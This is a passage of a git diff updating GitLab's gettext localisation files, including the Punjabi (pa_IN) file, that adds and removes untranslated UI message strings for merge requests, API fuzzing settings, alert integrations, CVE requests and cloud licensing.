+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index f258d2cfce5..313eb4e0737 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:57\n"
+"PO-Revision-Date: 2021-04-02 00:19\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
